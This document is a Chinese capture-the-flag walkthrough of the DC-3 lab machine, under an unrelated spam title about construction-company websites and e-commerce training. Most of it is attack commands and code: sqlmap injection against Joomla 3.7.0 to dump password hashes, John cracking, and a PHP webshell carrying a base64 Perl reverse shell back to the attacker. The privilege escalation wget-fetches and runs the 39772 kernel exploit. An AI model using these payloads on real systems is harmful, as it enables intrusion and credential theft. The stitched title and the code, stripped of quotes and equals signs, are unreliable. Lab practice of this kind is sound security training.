如何创建一个针对建筑公司网站和电商培训学校的定制电商培训课程?
摘要:如何制作建筑公司网站,电商培训学校,慈溪网站优化,海口网站建设费用文章目录 信息收集漏洞查找漏洞利用SQL注入John工具密码爆破反弹shell 提权 信息收集 主机扫描 arp-scan -l可以用netdiscover 它是一个主动被
如何制作建筑公司网站,电商培训学校,慈溪网站优化,海口网站建设费用文章目录 信息收集漏洞查找漏洞利用SQL注入John工具密码爆破反弹shell 提权 信息收集
主机扫描
arp-scan -l可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。
netdiscover -r 192.1… 文章目录 信息收集漏洞查找漏洞利用SQL注入John工具密码爆破反弹shell 提权 信息收集
主机扫描
arp-scan -l可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。
netdiscover -r 192.168.160.0/24说明 netdiscover: 这是一个网络探测工具的命令用于执行本地网络中的主机发现。-r 192.168.160.0/24: 这是一个命令的选项参数指定了要进行主机发现的 IP 地址范围。在这个例子中IP 地址范围是 192.168.160.0/24表示从 192.168.160.1 到 192.168.160.254 的所有 IP 地址。 当执行这个命令时netdiscover 将发送 ARP 请求广播到指定的 IP 地址范围内的每个主机并通过监听并收集其回应来确定哪些主机是活动的。通过这种方式可以快速发现目标网络中的活动主机以便进行进一步的分析或测试。 端口扫描
nmap -A 192.168.160.35 说明 -A #全面扫描 nmap扫描工具使用 发现80端口可用用的是Joomla的cms
浏览器访问DC-3的 80端口用Wappalyzer插件也可以看出是Joomla的
发现80端口可用用的是Joomla的cms
浏览器访问DC-3的 80端口用Wappalyzer插件也可以看出是Joomla的 目录爆破
sudo python3 dirsearch.py -u 192.168.160.35 -i 200说明 -u URL # URL目标 -i #状态码 也可以用御剑后台扫描工具 也可以用nikto扫描 Nikto 进入后台管理页面 漏洞查找
joomscan
joomscan是一款开源的且针对joomla的扫描器kali可以用命令apt install joomscan安装该工具。
joomscan -u 192.168.160.35searchsploit
searchsploit是一款kali自带的搜索漏洞信息的模块可参考searchsploit漏洞查找工具使用指南 searchsploit是一个基于Exploit-DB的命令行搜索工具可以帮助我们查找渗透模块。 Exploit-DB是一个漏洞库Kali Linux中保存了一个该漏洞库的拷贝可以查找需要的渗透模块它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的在没有网络的情况下也可以使用。 # 搜索 joomla 3.7.0版本的漏洞
searchsploit joomla 3.7.0发现有SQL注入漏洞和跨站脚本漏洞 使用find命令找出42033.txt的位置
find / -name 42033.txt查看文件内容
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt给出了注入方法
漏洞利用
SQL注入
列出所有数据库
sqlmap -u http://192.168.160.35/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --dbs -p list[fullordering] 说明 -u http://192.168.160.35/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml: 这是一个选项参数指定要进行注入测试的目标 URL。在这个例子中目标 URL 是 http://192.168.160.35/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml。--risk3: 这是一个选项参数指定进行注入测试的风险级别0-3默认为1。这里风险级别被设置为 3表示使用最高的风险级别进行测试。风险级别越低但是越安全--level5: 这是一个选项参数指定进行注入测试的深度级别。sqlmap默认测试所有的GET和POST参数当–level的值大于等于2的时候也会测试HTTP Cookie头的值当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5--random-agent: 这是一个选项参数指定在测试请求中使用随机的 User-Agent 头以隐藏工具的身份。--dbs: 这是一个选项参数指示 sqlmap 在发现数据库后列出数据库名称。-p list[fullordering]: 这是一个选项参数指定要测试的注入点参数。在这个例子中参数 list[fullordering] 被指定为注入点。 执行这个命令时sqlmap 将使用给定的参数和选项对目标 URL 进行注入测试。它将尝试发现 SQL 注入漏洞并进一步探测和利用这些漏洞。通过设置风险级别和深度级别可以增强测试的准确性和深度。 执行结果 列出指定数据库的所有表 sqlmap -u http://192.168.160.35/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb --tables -p list[fullordering]说明 --tables # 列出表 执行结果 列出指定库指定表的字段名 sqlmap -u http://192.168.160.35/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb -T #__users --column -p list[fullordering]获取用户名和密码
sqlmap -u http://192.168.160.35/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb -T #__users -C username,password -p list[fullordering] --dump说明 -D joomladb: 这是一个选项参数指定要查询的数据库名称。在这里数据库名称被指定为 joomladb。-T #__users: 这是一个选项参数指定要查询的数据表名称。这里数据表名称被指定为 #__users。-C username,password: 这是一个选项参数指定要查询和显示的列名称。这里列名称被指定为 username 和 password。-p list[fullordering]: 这是一个选项参数指定要测试的注入点参数。这里参数 list[fullordering] 被指定为注入点。--dump: 这是一个选项参数指示 sqlmap 在发现脆弱点后从数据库中导出数据。 执行结果 发现用户的密码做了加密
John工具密码爆破
john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。
利用John工具对该密码进行爆破拆解工具详细信息参考John介绍及常用命令使用说明
先在桌面创建一个文件将得到的用户密码的hash值复制进去并保存使用john破解。 john passwd.txt执行结果 得到密码后登录后台界面
反弹shell
登陆后就要开始寻找有没有可以getshell的地方这类的cms肯定是有上传文件的地方这里可以上传一个一句话木马用蚁剑进行连接也可以写一个php反弹shell到我们的攻击机上这边经过寻找发现了有个templates的beez3的目录 写入php反弹shell 反弹代码
?php
function which($pr) {$path execute(which $pr);return ($path ? $path : $pr);}
function execute($cfe) {$res ;if ($cfe) {if(function_exists(exec)) {exec($cfe,$res);$res join(\n,$res);} elseif(function_exists(shell_exec)) {$res shell_exec($cfe);} elseif(function_exists(system)) {
ob_start();
system($cfe);
$res ob_get_contents();
ob_end_clean();
} elseif(function_exists(passthru)) {
ob_start();
passthru($cfe);
$res ob_get_contents();
ob_end_clean();
} elseif(is_resource($f popen($cfe,r))) {
$res ;
while(!feof($f)) {
$res . fread($f,1024);
}
pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fpfopen($fname,w)) {
fputs($fp,base64_decode($text));
fclose($fp);
}
}
$yourip your IP;
$yourport your port;
$usedb array(perlperl,cc);
$back_connectIyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj.
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR.
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT.
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI.
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi.
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl.
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw;
cf(/tmp/.bc,$back_connect);
$res execute(which(perl). /tmp/.bc $yourip $yourport );
? 保存就上传好啦再根据joomla的特性模块会单独放在一个文件夹里/templates/而beez3模块就在/templates/beez3/里面刚才创建的shell路径为
http://192.168.160.35/templates/beez3/webshell.php用kali来监听
nc -lvvp 7777浏览器访问shell.php的地址http://192.168.160.35/templates/beez3/webshell.php 反弹成功 Get交互shell
python3 -c import pty; pty.spawn(/bin/bash)说明 python3: 这是执行 Python 解释器的命令。-c import pty; pty.spawn(/bin/bash): 这是一个以字符串方式传递给 Python 解释器的脚本。脚本导入了 pty 模块并使用 pty.spawn() 函数来启动一个新的 /bin/bash 终端。 当你在终端中执行这个命令时它会调用 Python 解释器并执行指定的脚本。脚本导入 pty 模块并使用 pty.spawn() 函数来生成一个新的伪终端(shell)。这样你就可以与一个交互式的终端进行交互就像运行 /bin/bash 一样。 它通常在渗透测试或特权升级等情况下使用。它允许将一个非交互式的终端(shell)转变为一个可交互的终端从而获取更多的权限和控制。 交互shell获取成功但是还不是root权限
提权
查看操作系统版本信息
tac /etc/issue说明 tac 是一个命令行工具用于反向显示文件的内容。/etc/issue 是一个特定的文件路径代表系统登录时显示的欢迎信息。 当你在终端中执行 tac /etc/issue 命令时它会打开 /etc/issue 文件并以相反的顺序显示文件的内容。换句话说它会将文件的最后一行显示在第一行倒数第二行显示在第二行以此类推直到第一行显示在最后。 在许多 Linux 发行版中/etc/issue 文件通常包含一个欢迎信息用于在用户登录或启动时显示系统的版本、主机名等相关信息。使用 tac /etc/issue 命令可以反向显示这个欢迎信息从底部开始逐行显示。 cat /proc/version说明 cat /proc/version 是一个用于在 Linux 系统中查看内核版本信息的命令。 在 Linux 中/proc 目录是一个虚拟文件系统提供了对运行中的内核和进程信息的访问。其中的 /proc/version 文件包含有关内核版本的详细信息。 再次使用searchsploit工具搜索漏洞
searchsploit Ubuntu 16.04Privilege Escalation提权这里我们使用通用4.4.x版本的提权方式
使用find命令查找路径
find / -name 39772.txt执行结果 绝对路径为/usr/share/exploitdb/exploits/linux/local/39772.txt 也可以直接用searchsploit -p linux/local/39772.txt会直接显示出绝对路径 cat /usr/share/exploitdb/exploits/linux/local/39772.txt溢出提权exp提权 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载39772.zip粘贴复制到kali里不能拖到kali里面否则会出现丢包的现象 在桌面开启http服务将下载好的文件导入到DC-3靶机里
python3 -m http.server 8888浏览器进行访问http://192.168.160.32:8888 出现这个说明服务开启成功exp地址是
http://192.168.160.32:8888/39772/exploit.tar
回到刚才的python交互shell
wget http://192.168.160.32:8888/39772/exploit.tar下载完后用tar命令解压该压缩包
tar -xvf exploit.tarcd ebpf_mapfd_doubleput_exploit执行
./compile.sh
./doubleput使用whoami 和id查看当前用户和用户id 切换到root的家目录 查看the-flag.txt
